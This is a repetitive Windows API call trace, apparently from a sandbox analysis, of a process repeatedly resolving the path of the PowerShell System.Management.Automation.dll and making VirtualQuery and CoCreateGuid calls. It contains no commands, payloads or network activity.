	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.013] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.015] GetLastError () returned 0x0
	[0084.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.015] GetLastError () returned 0x0
	[0084.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.015] GetLastError () returned 0x0
	[0084.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.015] GetLastError () returned 0x0
	[0084.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.015] GetLastError () returned 0x0
	[0084.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.015] GetLastError () returned 0x0
	[0084.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.015] GetLastError () returned 0x0
	[0084.015] VirtualQuery (in: lpAddress=0xed334, lpBuffer=0xee334, dwLength=0x1c | out: lpBuffer=0xee334*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.016] VirtualQuery (in: lpAddress=0xed370, lpBuffer=0xee370, dwLength=0x1c | out: lpBuffer=0xee370*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee124, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.016] GetLastError () returned 0x0
	[0084.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.016] GetLastError () returned 0x0
	[0084.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.016] GetLastError () returned 0x0
	[0084.016] VirtualQuery (in: lpAddress=0xed43c, lpBuffer=0xee43c, dwLength=0x1c | out: lpBuffer=0xee43c*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee124, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x3d6b868b, Data2=0x25e, Data3=0x4184, Data4=([0]=0xba, [1]=0xb, [2]=0x5b, [3]=0xaa, [4]=0x70, [5]=0xd0, [6]=0xe3, [7]=0x2b))) returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.017] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.017] GetLastError () returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.018] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x789f2219, Data2=0x53c0, Data3=0x4582, Data4=([0]=0x91, [1]=0x84, [2]=0xda, [3]=0xa2, [4]=0x1f, [5]=0x9f, [6]=0x33, [7]=0x8d))) returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.018] GetLastError () returned 0x0
	[0084.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.019] GetLastError () returned 0x0
	[0084.019] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x2d95e0, Data2=0x30aa, Data3=0x4151, Data4=([0]=0x80, [1]=0xa1, [2]=0x16, [3]=0x82, [4]=0x9d, [5]=0x52, [6]=0x85, [7]=0xae))) returned 0x0
	[0084.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.019] GetLastError () returned 0x0
	[0084.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.019] GetLastError () returned 0x0
	[0084.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.019] GetLastError () returned 0x0
	[0084.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.019] GetLastError () returned 0x0
	[0084.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.019] GetLastError () returned 0x0
	[0084.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.020] GetLastError () returned 0x0
	[0084.020] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x8386f829, Data2=0x59e9, Data3=0x4e31, Data4=([0]=0x8b, [1]=0xec, [2]=0x22, [3]=0x96, [4]=0xe1, [5]=0xec, [6]=0x73, [7]=0xf5))) returned 0x0
	[0084.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.020] GetLastError () returned 0x0
	[0084.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.020] GetLastError () returned 0x0
	[0084.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.020] GetLastError () returned 0x0
	[0084.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.020] GetLastError () returned 0x0
	[0084.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.020] GetLastError () returned 0x0
	[0084.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.020] GetLastError () returned 0x0
	[0084.020] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xec8bcd1d, Data2=0x1575, Data3=0x4e22, Data4=([0]=0xb9, [1]=0x41, [2]=0x83, [3]=0xde, [4]=0xff, [5]=0x0, [6]=0xd, [7]=0xa5))) returned 0x0
	[0084.021] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x2ce6ccb8, Data2=0xe5ce, Data3=0x4270, Data4=([0]=0xa1, [1]=0x57, [2]=0x52, [3]=0x58, [4]=0x19, [5]=0x18, [6]=0x5e, [7]=0xe2))) returned 0x0
